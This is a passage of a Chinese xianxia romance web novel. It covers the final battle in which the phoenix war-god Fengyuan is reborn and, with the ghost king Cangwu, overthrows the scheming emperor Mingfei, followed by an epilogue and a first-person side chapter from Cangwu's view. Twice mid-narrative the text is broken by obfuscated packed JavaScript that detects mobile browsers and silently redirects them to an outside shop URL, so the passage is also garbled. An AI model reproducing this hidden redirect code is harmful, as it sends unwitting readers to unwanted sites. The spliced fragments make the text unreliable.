他站在原地,肩胛的伤口仍在渗血,周身气息萎靡到了极点,仿佛随时会随风散去。他只是面无表情地,将目光投向嘴角挂着阴冷笑意的明霏,声音清晰无比地穿透了开始隆隆作响的雷音:“我说过,你做的那些我会悉数讨回。” 明霏闻言,脸上那抹得意与阴险的弧度愈发扩大。他仿佛已经看到了天雷落下后,鬼王化为飞灰,从此天上地下,再无人能阻他前进的脚步。 明霏眼中闪烁着贪婪与快意交织的狂热光芒:“讨回?你拿什么讨回?眼下,鬼王还是关心关心自己怎么才能顺利度过雷劫。” 苍梧冷笑一声:“我本就是死人,何惧这天劫?” 就在那毁天灭地的紫色雷海即将彻底吞没苍梧、连带着这片区域一切存在的千钧一发之际—— “大人!!!” 一声凄厉到破音的嘶喊,伴随着一道极其微弱、却带着某种奇异温暖波动的金光,以不可思议的速度窜了出来。 是若辰! 他不知何时潜近,此刻面容狼狈,衣发散乱,显然也经历了一番苦战。但他手中,似乎紧紧攥着什么东西,温和的金光从指缝中溢了出来。 若辰用尽最后力气,义无反顾地,朝着苍梧与天雷之间的空隙,扑了上去。 这一切发生在电光石火之间。 苍梧瞳孔骤缩,这一幕完全是他没有料到的,这完全不在他的计划之中!意识到发生什么已经晚了,若辰瘦小的身影,早已如同扑火的飞蛾,挡在了他的头顶上方。 “轰隆!!!!!!” 灭世天雷,终于彻底降临。 刺目到极致的紫色光芒吞噬了一切视野,震耳欲聋的巨响仿佛连灵魂都要震碎,狂暴到无法形容的能量瞬间爆开! 然而,预想中苍梧灰飞烟灭的场景并未出现。 但天雷余威依旧恐怖。偏离主轨道的雷霆边缘,如同最锋利的剃刀,狠狠刮过了挡在最前方的若辰,也重重冲击在苍梧本就重伤的身躯上! 若辰甚至来不及发出惨叫,整个魂体便在雷光中剧烈扭曲、燃烧,瞬间变得透明,几乎要当场溃散!他如同卷曲的枯叶般坠落。 苍梧亦是浑身剧震,再次喷出一大口血,护体的最后一丝鬼气彻底湮灭,身体晃了晃,单膝跪倒在地。 雷光渐熄,烟尘缓缓落下。 死寂。 明霏脸上的笑容僵住,化为难以置信的惊愕与暴怒:“怎么可能?!这是从哪里冒出来的鬼?你们鬼怎么那么的无处不在!” 啪嗒。 若辰手中的魂灯坠地,在地上摔得粉碎。灯盏碎裂的瞬间,无数晶莹的光点如同破碎的星辰,猛地迸发出来,在空中交织成一段被尘封的前世记忆—— 阳光透过梧桐林的枝叶洒下,一只羽翼未丰的小鸟,围着风华绝代的凤凰叽叽喳喳: “凤凰大人!你总是看着鬼界的方向发呆,你是不是喜欢上那个苍梧了呀!” 凤凰轻笑,指尖轻点小鸟的脑袋。 小鸟扑棱着翅膀,依依不舍:“凤凰大人,我们等着您回来!” 画面一转,苍梧的身影曾出现在那片梧桐林,带着一身寂寥。 小鸟欣喜地扑棱翅膀:“是凤凰大人回来了嘛?” 却只见苍梧眼中流出两行殷红的血泪,声音沙哑破碎:“他不会回来了……” 小鸟不解:“苍梧?那凤凰大人去哪里了呢?” 苍梧沉默不语。这世间,无人能懂他亲手封印挚爱,独自背负所有秘密的痛苦与绝望。 小鸟也不明白,为何跪在碑前的人变成了苍梧,为什么苍梧会一直哭。 后来,明霏现身,一把业火焚尽梧桐林,烈焰滔天。 小鸟固执地不肯离去,在火海中哀鸣:“我要等凤凰大人回来……”最终气息奄奄,倒在焦土之上。 是苍梧,以自身鬼界本源,逆天而行,将这只执念至深的小鸟复活,留在身边,取名——若辰。 这名字,承载着那段未能履行的承诺,也藏着苍梧无尽的悔与痛。 若辰消散在苍梧面前,笑着:“大人,您交给我的任务完成了,我终于知道我是谁了……” 魂灯碎,记忆苏。 前世的等待与牺牲,今生的守护与殒命,在这一刻,形成了令人心碎的闭环。 而与此同时,远处床榻之上,那一直沉睡的云霁白,眉心处一点金红印记骤然亮起。他身侧,一盏被苍梧早已悄悄放置的古老魂灯,猛地光华大盛。 无数破碎的画面、声音、情感,如同决堤的洪水,顺着那盏魂灯与云霁白眉心印记的连接,汹涌地冲入了他的识海深处—— 是千年前西南战场上,业火焚身,锁链加身,父亲与爹爹在金光中消散的身影与最后的话语。 是苍梧抱着他残魂跪求天门,被天道无情拒绝的嘶吼与绝望。 是苍梧一次次尝试复活失败,反噬加身,痛苦不堪的坚持。 是十世轮回中,他或茫然或困惑,而苍梧始终沉默跟随,耐心等待的漫长孤寂。 是自己对苍梧恶言相向,是麒麟刃下假死脱身时,苍梧那撕心裂肺的咆哮。 所有被封印的、被掩盖的、被误解的真相,伴随着跨越了生死与时光的沉重到令人窒息的爱与守护,在这一刻,如同最锋利的刻刀,狠狠凿开了记忆的坚冰! 云霁白猛然从床上坐起,发出一声痛苦的呻吟。他双手抱住头,银眸中金红光芒疯狂闪烁,泪水如同断了线的珠子,混合着醒悟的剧痛与滔天的悔恨,汹涌而出。 废墟之中,单膝跪地、几乎油尽灯枯的苍梧,甚至来不及为几乎魂飞魄散的若辰感到悲痛,若辰此刻的气息微弱如同风中残烛,已非此刻他能顾及,他也无力回天。 他的全部心神,都被床上那人苏醒的异状与痛苦所抓住。 没有丝毫犹豫,苍梧强忍着肩胛处撕裂般的剧痛与体内肆虐的混乱力量,用尽最后的气力,身形骤然化作一团浓郁却不再稳定的玄色雾气。雾气中,核心处紧紧包裹着那团若辰用性命换来的凤渊神祇。 黑雾迅疾却轻柔地飘向床榻,将依旧被记忆冲击得浑身颤抖的云霁白全然笼罩,两个灵魂在鬼雾中相遇,一如初见那般。 温柔的力量源源不断涌入体内,像火焰,不灭的火焰。 凤渊瞧着苍梧,脸上挂着似有若无的笑意:“苍梧……” 声音落下的那一刻,泪也跟着滚落。 苍梧轻轻应了一声:“什么眼神,不认识夫君了?” 抬起手轻轻擦掉凤渊脸上的泪。 凤渊泣不成声,声不成调:“我是不是很蠢啊,我,我竟然不认识自己的夫君,我还,我还那样的对你……” 苍梧打断他的话:“没有,轮回百转,记忆难寻,忘记正常。”他轻轻将凤渊拥入怀,“你忘记我十次,我就有信心让你爱上我十一次。” “笨蛋,我怎会跟失忆的人计较。” “我只会怪自己没本事,让你不能再次爱上我。” “苍梧……” “好了,不哭了。” 也不……不要推开我。 自目光吻过你灵魂的那日起,本王的世界才有了色彩。 明霏看着雾中相拥的两个灵魂,终于明白过来,这是在干什么:“阻止他们!快阻止他们!” 可是已经晚了,凤渊拿到了神祇。 神祇进入神识的那一刻,凤渊才知道,原来凤凰浴火不是古老的传说,只是需要很多很多的爱。 方能重生。 一声清越激昂,穿透九霄的凤鸣,从黑雾中心爆发而出。那声音带着古老的神性,涅槃的喜悦。 笼罩的黑雾被金红色光芒从内部猛然撑开驱散! 光芒之中,云霁白的身形已然消失。 取而代之的,是一只华美威严到令人窒息的巨大火凤凰! 凤凰展开的双翼,仿佛能遮蔽半个残破的殿宇,每一片翎羽都流转着如同熔金淬火般的光泽,尾羽修长绚烂,拖曳着点点星辰般的金红碎光。 周身燃烧着纯净的神圣的火焰,那火焰并不灼热逼人,却带着净化与温和的磅礴生机,瞬间驱散了殿内残留的阴霾、死气与雷霆的暴戾。 狂暴而纯净的神力以它为中心席卷开来,将剩余的残垣断壁彻底推开清空。它不再停留,庞大的身躯化作一道绚丽无比的金红色流光,挟带着滔天神威与重生后的无上气势,冲破破碎的殿顶,直上九重云霄! 它在天界那依旧残留着雷云与混乱气息的天空中恣意翱翔,所过之处,祥云自生,瑞气千条,那神圣的火焰与清越的凤鸣,涤荡着方才的杀戮与阴谋留下的污秽,宣告着战神的真正回归,与一段跨越生死真相的彻底明朗。 而下方废墟中,苍梧所化的黑雾已然重新凝聚成人形。他依旧跪在原地,肩头鲜血染透,脸色惨白如鬼,仰头望着天空中那自由翱翔、光芒万丈的火凤凰,紫眸中映照着那绚烂的光彩,疲惫的眼底深处,终于缓缓漾开一丝无比柔软的光芒。 他费尽心机,设计一切,为的就是此刻。 为的就是看他的小凤凰翱翔于天际。 不灭的太阳终于再一次升了起来。 锵——! 一声清越剑鸣响彻寰宇!一柄缠绕着凤凰真火与无尽战意的古朴神剑,破开虚空,稳稳落入凤渊手中——问情剑! 大抵是感受到凤渊的气息,神剑自动寻主了。 天兵天将不敢相信眼前的画面,怎么可能呢?问情剑不是随凤渊一起被封印在西南地界了吗? 司命星君见此,后知后觉:“那天你根本没有加固封印!你解开了封印!” 苍梧缓缓站起来,冷笑:“现在才发现,真是一群废物。” 所有人看向空中的凤渊。 神剑在手,流光溢彩的银色战甲瞬间覆盖他全身,甲胄上凤凰图腾流转,如同活物。凤渊银发飞舞,眸中燃烧着复仇的金焰,周身气势节节攀升,浩瀚神威席卷整个仙界。 凤凰浴火,战神归位。 凤渊手持问情剑,剑尖直指明霏,声音冰冷,蕴含着毁天灭地的杀意:“明霏,新仇旧帐今日一并清算!” 剑气激荡,击退百里活物。 像极千年前手持一剑破万军的画面。 怪不得他们会害怕凤渊结识苍梧后会反叛,这样的神威是个人都会害怕。 明霏看着上方气势滔天、神威凛凛的凤渊,脸上惯有的温润彻底消失,取而代之的是一种复杂的、混合着不甘与执念的阴沉。 天帝威压同样毫不保留地释放开来,与凤渊的神威在空中激烈碰撞,引得风云变色,雷霆交织。 “阿渊……” 明霏开口,声音竟带着一丝诡异的扭曲的深情,“我做这一切,布局千年,算计所有……甚至不惜染血,都是为了你。” 他目光紧紧锁住凤渊,“我是真的……喜欢你。” 这迟来的、建立在无数谎言与鲜血之上的喜欢,如同最恶毒的诅咒,让凤渊感到生理性的恶心。 他嘴角勾起一抹极致嘲讽的弧度,问情剑发出一声激昂的嗡鸣,金红色的凤凰真火缠绕剑身,仿佛能焚尽世间一切虚伪与罪恶。 “巧了。” 凤渊的声音平静得可怕,“我是真的……” 他手腕一震,剑光冲天而起。 “想杀了你。” 话音未落,问情剑已化作撕裂天地的惊鸿,携着战神归来的无尽怒火,斩向明霏。 决战,爆发。 爱与恨,恩与怨,忠诚与背叛,都将在这一战中,彻底了结。 明霏站在原地看着凤渊,到这一刻,他都还在赌,赌凤渊会念及旧情,会心软。 可惜,这一次他想错了。 凤渊从未改变。 他是那个于梧桐林间饮酒舞剑、笑傲云端的逍遥客,也是那个于西南战场上横剑问天、宁折不弯的战神。他心中自有一杆秤,秤的一头是情义与道义,另一头是是非与善恶,界限分明,从无含糊。 当那绚烂的金红色流光自九天俯冲而下,落地时已重新化为人形——红发如焰,银眸如冰,周身神光内蕴,不怒自威。他手中并无兵器,只是虚虚一握,不远处那柄曾陪伴他征战四方、被困于阵中千年的问情剑,便发出一声激越清鸣,自动挣脱一切束缚,化作流光飞入他掌中。 剑入手,寒芒四射,艳红的剑穗无风自动。 凤渊的目光,甚至没有在明霏身上过多停留。 “这一切,”凤渊开口,“是时候该清算了。” 话音未落,他身形已动! 没有预兆,没有废话,红发身影如同撕裂空间的闪电,裹挟着滔天剑气直冲明霏。 他要为千年前的背叛,为苍梧的等待,为自己轮回十世的苦难,讨一个公道!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17010475|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “护驾!!!” 几乎在凤渊动身的同一刹那,早已严阵以待的天兵天将齐声怒吼,瞬间结成了最坚固的防御战阵!无数仙光盾牌层层叠起,仙索如龙交织封锁,攻击性的法宝与术法光芒如同暴雨般朝着凤渊击去!一时间,殿前仙力激荡,光华乱闪,杀声震天! 凤渊不惧。 问情剑在他手中仿佛活了过来,化作一道游走于光雨之间的银光。剑光所过之处,仙盾破碎,仙索崩断,袭来的法宝术法或被剑气绞碎,或被周身神凰真火直接湮灭!他在千军万马中逆流而上,一步一杀,所向披靡,距离明霏越来越近! 眼见凤渊势不可挡,明霏脸色愈发阴沉,他心中恐慌到了极点,知道再不设法,今日必是覆灭之局。他眼珠急转,忽然运起仙力,将声音逼成一线,尖锐地穿透混乱的战阵,直刺凤渊耳中,试图用攻心之计扰乱其神: “凤渊!你睁大眼睛看看!看看你身后!” 明霏声嘶力竭,指着废墟中气息奄奄的苍梧,“看看那个为你逆天改命、承受天雷、如今奄奄一息的鬼王!你真要为了向我复仇,将他彻底拖入万劫不复之地吗?!仙界底蕴深厚,岂是你一人一剑能颠覆?你若执意复仇,今日就算你侥幸得手,苍梧也必受天道最严厉的惩戒,魂飞魄散,永世不得超生!你忍心看他为你落得如此下场?!” 他又换了语气,带上几分伪善的急促与关切:“凤渊!收手吧!现在回头还来得及!只要你放下问情,我可以饶恕苍梧擅闯天宫、抗逆天雷之罪!甚至可以……可以想办法帮他祛除体内奇毒与天雷之伤!你难道要为了旧日的仇怨,亲手断送掉你和他好不容易才重新得来的未来吗?!” 字字句句,看似为苍梧着想,实则阴毒无比,试图将苍梧的安危化为枷锁,捆住凤渊复仇的手脚,更是在提醒所有仙神——鬼王苍梧,是凤渊此刻最大的弱点与负担。 明霏那番攻心毒计的话语尚未完全消散在激荡的仙力乱流中,一道冰冷而沙哑的嗤笑,便清晰地从废墟血泊之中响起。 “呵……” 只见那原本单膝跪地,气息奄奄的玄色身影,竟硬生生用手撑地,极其艰难地站了起来。每一步都仿佛牵扯着全身断裂的骨骼与混乱不堪的经脉。 他的脸色惨白如纸,冷汗浸透白发,紫眸中燃烧着一簇绝不熄灭的、名为执拗的幽火。 在明霏惊愕、众仙神难以置信的目光中,在漫天交织的仙术光芒与凛冽剑气之间,苍梧一步一步,拖着沉重如灌铅的步伐,踏过焦土与碎石,坚定不移地,走向了那道正于千军万马中挥剑前行、红发银眸、神威凛然的火红身影。 凤渊似有所觉,剑势微顿,侧眸回望。 银眸之中倒映出苍梧此刻摇摇欲坠却又异常固执的模样。 苍梧走到他身侧,没有多余言语,只是伸手,稳稳地有力地握住了凤渊持剑的手腕。 他的手掌冰凉,带着重伤后的颤抖,也带着温柔的力量源源不断的传递给凤渊。 两股截然不同却在此刻浑然一体的力量,一方是涅槃重生,炽烈纯粹的神凰之力,另一方是温柔的鬼王本源——通过交握共同握住的剑柄,毫无滞碍地交汇、融合。 问情剑发出一声前所未有的,清越激昂到震颤灵魂的长吟,剑身光华暴涨,原本银亮的寒芒之中,沁入了缕缕深沉幽暗的玄色流光,如同星辰融入了黑夜,非但不显矛盾,反而更添一种神秘莫测的威势。 那艳红的剑穗无风狂舞,仿佛也感受到了主人心意与力量的彻底交融。 苍梧就站在凤渊身侧,微微靠后半步,如同最坚实的影子与壁垒。他看向脸色已彻底铁青的明霏。 他的声音依旧嘶哑,砸碎了明霏最后一丝幻想,也宣告着两人无可分割的同盟:“他明霏,本王千方百计复活他,不是让他受欺负的。” 苍梧顿了顿,与凤渊交握的手更加用力,仿佛要将自己最后的力量、连同灵魂,都一并灌注进去:“本王的野心也不止于此。” “本王不仅让他自己报仇,还要他登仙阁,位列仙班,坐帝位,执九霄!” 凤渊震惊地看向苍梧。 明霏道:“好大的口气!你以为天道会容忍你这样放肆吗!” 苍梧轻笑:“不会吗?这只是一场普通的权力更迭游戏而已,有人牺牲是再平常不过的事,这是天教给我的道理。” “你以为天帝之位是那么好当的吗!?” “他有本王。” “他不会的本王亲自教他,他做错的本王亲自给他兜底。” “谁有不服便去鬼界找本王,本王自会给一个交代。” “还有什么问题吗?” 一片死寂。 这些天兵天将被苍梧说动了,似乎在盘算战还是不战。 “既然没问题,那么——” “诸位,拥本王的小凤凰上位如何?” 凤渊看着苍梧,手腕隐隐发抖:“苍梧,我只要复仇就可以,然后跟你长相厮守。我不需要那些东西……” “别怕,我陪在你身边。” “从今以后,你坐凌霄殿,受诸神朝拜,自守清光。” “我守阎罗殿,为你镇压十殿阎罗,永固幽冥。” 没有询问,没有祈求,只是一个陈述。他告诉他他的选择——他不会来到这光明的仙界与他并肩,不会打扰他作为天帝的威严与清静。他选择回到那暗无天日的鬼界,回到他的阎罗殿,以鬼王之尊,替他镇守那最容易生乱、最是污秽不堪的幽冥地府,扫平一切可能波及仙界的动荡,让十殿阎罗皆俯首,让万千恶鬼不敢妄动。 想起千年来的种种,凤渊潸然泪下,原来这世上最让人害怕的鬼拥有最忠诚最纯粹的爱。 明霏冷笑一声:“我还没死呢,就开始想这些了?” 苍梧道:“既然如此,那便杀了你。” 话音落下的瞬间,时间仿佛凝固。 紧接着,杀意如同海啸般自两人身上轰然爆发!凤凰真火与幽冥鬼气交融升腾,剑光未动,威压已至,将明霏周身残存的仙灵之气碾得粉碎。 远处,残存的仙将骇然色变,惊呼与兵刃出鞘之声乱成一片。明霏的瞳孔骤然收缩,周身隐有浩瀚的法则波动开始凝聚。 然而,一切迟来的反应都已无法扭转注定的结局。 问情剑尖,一点极致的光华开始凝聚。 大战,一触即发。 —全文完— 33.尾声[番外] 明霏身陨,其罪昭告三界。 仙界的阴霾随着旧天帝的统治一同散去,云开雾散,重现清明。在众仙尊崇、百鸟齐鸣的浩荡声势中,凤渊登临天帝之位,执掌九天。 他立于凌霄殿至高之处,银甲虽褪,却换上了更为雍容庄重的天帝冕服,流云广袖,威仪天成。 百鸟盘旋于殿外,鸣声清越,其声欢欣,如同庆贺真正的主人归来。 万仙来朝,躬身礼拜,声震九霄。 自此,三界格局一新。 九重天上,天帝凤渊执掌秩序,恩泽万物,清冷孤绝,其光华照耀三界。 幽冥地府,鬼王苍梧坐镇看管,威慑群鬼,手段狠绝,其威名止小儿夜啼。 一明一暗,一仙一鬼,看似永隔,实则共同维系着三界的平衡与安宁。 偶尔,在夜深人静时,凤渊会独自立于蟠桃园深处,那里不知何时,悄然生出了一株与周围仙气格格不入,却顽强盛开的彼岸花。 花色殷红,如同思念,亦如承诺。 而鬼界最深处的阎罗殿王座之侧,也总会留有一盏永不熄灭的,散发着淡淡凤凰气息的长灯,灯光温暖,驱散着幽冥的寒意。 不过,总有一些不怕死的鬼挑事。 苍梧重伤未愈,十殿阎罗联手逼宫。 苍梧被围于奈何桥头。 就在他退无可退之时,凤凰清鸣激起忘川波涛,金红神火化作箭雨倾泻。凤渊踏火而来,问情剑所指处,百万鬼兵跪伏战栗。 他扶起浑身是血的苍梧,指尖擦过苍梧颈侧伤痕,眼中闪过一丝狠厉。 诸神哗然——天帝竟为鬼王亲临鬼界!更令人震惊的是,苍梧反手扣住凤渊手腕,当着十万阴兵将他拉近:“天帝啊,一来就耍威风?” 他知道他的小凤凰生气了,所以用这种调侃的语气安抚。 凤渊耳尖泛红,却任由他握着:“闭嘴疗伤。” 苍梧轻笑:“哦,小凤凰什么时候变得这么凶啊。” 凤渊:“……” 那日后,仙鬼二界不敢再有有异心之人。 因为得罪哪一个,对方都会不择手段的报仇。 主要还是惹不起啊! 那天之后,夜游神总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078838|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见,天帝常于子时拎着酒壶坐在奈何桥边,鬼王便枕在他腿上小憩。 桥头新立石碑刻着: 我忘你十世 终在第十一世 以星河为卷 以忘川为墨 写永不相负 这世间最长的相守,原是不问来路也不问归期的并肩。纵然仙鬼殊途,纵然十世轮回,总有人守在最初的地方。 很多年后,小鸟们围着老月老听故事。 “天帝陛下和鬼王大人谁先动心呀?” 月老捋须指向轮回盘: “他忘了他十次,他等了他十世。” “若问谁先心动……” “是鬼王在初见时,就用目光吻过了天帝的灵魂。” “而天帝在第十一次遗忘时,仍下意识对鬼王心动。”月老看向窗外,笑着把书合上。 幽冥殿内,苍梧为睡着的凤渊掖好被角。 窗外,星河与忘川静静交融。 命运为他们各自下了一场雪,而今终于在对方的眼眸中,看到了晴空。 (全文完) 34.苍梧视角[番外] 我叫苍梧,生于混沌,食人私念。 是鬼界之主,执掌生死,孤寂万年。 直到我漂泊进神秘的梧桐林。 我记不清是如何穿过那层层叠叠的、令寻常仙魔却步的古老禁制,踏入那片传说中的梧桐林的。 周遭的寂静几乎有形,沉甸甸地包裹过来,与鬼界永无休止的哀嚎和死气的翻涌截然不同。 阳光是我不熟悉的东西,它们从极高处那些苍翠得惊人的叶片缝隙里漏下来,碎成一片片晃动的金斑,落在地上,也落在我的雾霭边缘,带来近乎灼烫的刺痛感。 空气里满是草木汁液和泥土被晒暖后的清新气味,陌生,却奇异得不让人讨厌。我此行的目的明确而简单——找到那位被传得神乎其神的“四海八荒第一战神”,与他打一场,证明些东西,或者打破些什么。 然后,我看到了他。 就在前方一棵最为古老粗壮的梧桐横伸的枝干上。 首先攫住我视线的,是一片流淌的、灼眼的红,像最纯净的火焰,又像凝固的晚霞,泼洒在深褐的树皮与浓绿的叶片之间,红得那般嚣张,那般生机勃勃。 那是一个人的长发。 他就在那里,慵懒地醉卧着。月白色的宽大袍子松垮地覆在身上,衣襟散乱,露出一截精致的锁骨,在斑驳的光影里白得晃眼。一只手随意垂落,指尖还勾着一个将倾未倾的玉壶,琥珀色的酒液偶尔凝聚成珠,慢悠悠地滴下,渗进树皮的纹路里。另一只手搭在额前,遮住了大半张脸,只能看见线条流畅得不可思议的下颌,和因酒意而染上淡淡绯色的唇。 他在沉睡。 呼吸轻浅得仿佛只是这片林子本身的一个悠长吐纳。风过时,满林的叶子沙沙作响,像在为他哼着安眠的曲调,也轻轻拂动他散落的几缕红发。 那一瞬间,我万年如古井无波的心绪,似乎也被那发丝撩动了一下。 疯了吧。 我竟然忘了移动,忘了出声,甚至短暂地忘了我为何而来。 混沌的鬼雾自我周身无声弥漫,与这片充盈着磅礴生机的林地格格不入。 雾气中心,我用以视物的那只灰败眼眸,却不受控制地、精准地定格在那抹红与白交织的身影上。 原来,这就是凤渊。 和想象中金甲凛然,杀气腾腾的战神形象完全不同。 没有压迫感,没有锋芒,只有一种恣意的,仿佛天地灵气钟毓于一身的美丽。 一种让人移不开眼,甚至忘了呼吸的美丽。 我就这样静静地看着,看着阳光在他发梢跳跃,看着那慵懒随性的姿态,看着那不经意间,从骨子里透出的洒脱。 或许是我的目光太过专注,或许是他强者天生的警觉。枝头上,那搭在额前的手,指尖几不可察地动了动,然后缓缓移开。 露出一双初醒时还带着几分迷蒙水汽的眼眸。 那是怎样的一双眼睛? 并非我以为的深邃或锐利,而是银白色。清澈,冰冷,却又因初醒的慵懒和未散的酒意,流转着一种温暖如月华的光泽。它们准确无误地,对上了我雾气中那只灰败的、死气沉沉的眼。 时间,林间的风,甚至叶片的沙响,仿佛都在这一刹凝固。 还是他先有了动作。 并未因我这不速之客而有丝毫惊慌,那形状优美的唇角反而微微上扬,勾起一抹带着残留醉意和几分玩味的弧度。声音因刚刚睡醒,有些低哑,却像羽毛轻轻搔刮过耳膜:“何人竟能找到此地,扰我清净?” 我失语了。 并非慑于他的威名或力量,而是被那骤然清晰的容颜与眼中流转的光彩,夺去了所有反应。传闻只说他强大,无人告诉我,四海八荒第一战神,竟生得如此…… 他晃了晃手中玉壶,笑意加深,那银眸里的玩味几乎要溢出来:“一直盯着我看做什么?” 他顿了顿,语气里带上一丝戏谑,“莫非是想偷我的酒?” 偷酒? 我灰白的眼眸里,倒映着他因酒意微红的脸颊和那抹笑。一种陌生的、连我自己都辨不清的情绪悄然滋生。我听到自己的声音,干涩地打破林间寂静: “本……我想要什么没有,” 话到嘴边,那惯常的“本王”竟硬生生拗成了模糊的音节,目光却不受控地落在他脸上,“何须偷你的东西?” 他闻言,微微一怔,随即竟笑开了。 那一笑,如同拨开厚重云层的朝阳,猝不及防,绚烂夺目,几乎灼伤我雾霭下的魂灵。他翻身坐起,动作流畅得像林间的风,那头流泻的红发随着动作漾开令人心悸的弧度。他就那样居高临下地看着我,那双银眸里充满了纯粹的好奇:“不偷酒?” 他歪了歪头,这个动作由他做来,竟有种惊心动魄的天真与魅惑,“那你想偷什么?” 他向前倾了倾身,红发几乎要垂落到我雾气的边缘,声音压得更低,带着酒香与林间清气,一字一字,清晰无比地砸进我的感知:“难不成是想偷我?” 随着他话音落下,笑意在唇边漾开至最盛时,不可思议的一幕发生了—— 那头流泻的,火焰般灼目的红发,色泽竟以肉眼可见的速度褪去,仿佛被无形的墨汁浸染,迅速化为如夜般深沉纯净的墨黑;而那双原本清澈冰冷的银色眼眸,也如同被最浓的夜色渗透,沉淀为深不见底的黑。 眨眼之间,树上人的容颜气质已截然不同。依旧是那张令人过目难忘的脸,轮廓却似乎因发色与瞳色的改变,显出一种更加清晰利落的俊美,少了几分灼人的明艳,多了几分清冷昳丽。方才那惊鸿一瞥的红发银眸,竟似林间光影与我开的一个荒唐玩笑,了无痕迹。 我愣住,雾霭都因心绪剧烈波动而翻腾了一瞬。 偷他? 这话怎能……如此直白,如此……轻薄无礼! 一种混合着羞恼、无措,或许还有一丝被说中心事般慌乱的复杂情绪涌上,让我几乎维持不住雾气的形态。 他,四海八荒第一战神凤渊,此刻却像个发现了新奇玩具的孩子,对我的反应似乎觉得很有趣,笑意未减,反而追问我。 我定了定神,气势汹汹告诉他我来的目的。 那时的我,心中唯有胜负与力量,简单直接得可笑。 他听了,却只是拎起玉壶,又慢悠悠喝了一口,姿态闲适得像在讨论天气:“手中的剑,是用来守护天下苍生和自己爱人的,” 他抬眼,漆黑的眸子看向我,里面没有轻视,只有一种平静的透彻,“不是用来证明自己有多强大的。” 爱人?这个词离我太遥远。我只觉得他是在推诿。 “你是怕打不过我,不敢与我较量?” 我激他,“放心好了,只是切磋,就算你输了,我也不会让第三个人知道。” 他轻轻摇了摇头,那动作里带着一种我无法理解的,近乎悲悯的宽容。然后,他说了一句让我瞬间噎住的话:“想赢我?你还是先化成人形再说吧。” 我无法化形。 他接二连三的拒绝让我鬼王的自尊受到打击。我知道自己不能再死皮赖脸下去,留下一句还会再来的,便落荒而逃。 心底却有个声音在反驳:再来?再来做什么呢?真的只是为了比试吗? 我不知道。 而那时的我更不知道,树上那人看似平静驱客,心里却因我灰败眼眸中偶然映出的、一闪而过的凤凰虚影,掀起了怎样的惊涛骇浪。 我只知道我赖上他了。 我贪恋他眼眸中的颜色,发了疯的想他,片刻不见,便会想他。 我有时候在想,会不会是第一次见面时,被他下了蛊。 直到那一刻,我才知道那种想念源自本能的爱。 风过林梢的声音,叶片摩挲的沙响,远处隐约的鸟鸣……这些声音于我,不过是无尽岁月里单调的背景杂音,与鬼界永恒的呜咽并无本质不同,皆无法真正触及我雾霭之下空无一物的“内在”。 直到我将自己——这团没有固定形态、没有温热血肉、甚至没有所谓“中心”的虚无——尽可能地贴近他,贴上那月白袍服之下,左侧胸膛的位置。 起初,是一种陌生的,细微的震动,透过衣料和他的躯体,如同投入死水潭的石子激起的最轻微的涟漪,撞上我雾气的边缘。不是声音,更像是一种韵律。 一种与我自身永恒冰冷的“静止”截然相反的、活生生的搏动。 我凝住全部感知,甚至暂时忘却了维持雾气的形态,任由它本能地坍缩、凝聚,只为更清晰地捕捉那奇异的震颤。 咚。 一声。 沉甸甸的,带着一种难以言喻的重量感。不像鬼魂飘忽的呜咽,也不像法器撞击的清鸣,它厚实笃定,仿佛源自大地最深处,却又蓬勃向上。 然后,在恰到好处的间隙之后—— 咚。 又一声。 紧随而来,分毫不差,构成了一个稳定到令人心悸的节奏。 这就是心跳? 我曾在无数新丧的魂体上见过停止跳动的心脏,灰败,冰冷,不过是即将腐朽的肉块。我也知晓生灵皆有此物,它被描绘为生命的泵,力量的源。但知晓与此刻感受到的,全然不同。 这声音……不,这透过紧密相贴传来的实实在在的律动,它不像我理解的任何一种力量运转。它太私密了。 它就是他本身,是他“活着”最核心、最不容置疑的证据,无关法术,无关修为,仅仅是因为他是凤渊,一个活生生的、温热的存在。 我感到一种近乎晕眩的困惑,以及一种更深的好奇。 我尝试用自身鬼气的流转去模仿那节奏。我的呼吸本就是能量的吞吐,我可以控制它的频率。 我让它追随着那“咚咚”声,试图同步。 但很快,我发现自己失败了。 我的“呼吸”可以快,可以慢,可以停,可以续,但它永远是外在的,是可控的能量循环。而他的心跳,却是内生的,是自发的,从身体最深处迸发出的生命节拍。 我的模仿僵硬而空洞,永远无法复刻那份源自存在本身的,蓬勃的力与热。 “凤凰,你心跳得好快,” 我不由自主地说出声,带着自己都未察觉的近乎抱怨的茫然,“心跳声也好吵。” 吵。是的,它打破了我万年习以为常的静。那并非令人不悦的噪音,而是一种极具侵略性的存在宣示。 它不容忽视,充满生机,一下,又一下,敲打在我这团没有“中心”的雾霭之上,仿佛在质问:你呢?你的“中心”在哪里?你的生命,是以何种节律在呼吸? 我追不上它。 我放弃了徒劳的模仿。只是更紧地、近乎贪婪地贴合着那震颤的源头。 隔着衣物,我能听到,或者说,感受到那稳定的、强有力的搏动。它仿佛带着温度,一种我从未拥有过、也无法理解的温热,正透过我冰冷的雾气,丝丝缕缕地渗透进来。 原来,这就是有“心”的感觉吗? 不是力量的枢纽,不是思维的宫殿,而是一座小小的、却能发出如此宏大声响的、活着的钟。它自顾自地敲打着,不为证明什么,仅仅因为它在跳,所以他在活。 而我,没有这座钟。 我只是寂静的雾,在九幽的寒风里飘荡,维持着秩序,却不知何为“自己的节律”。 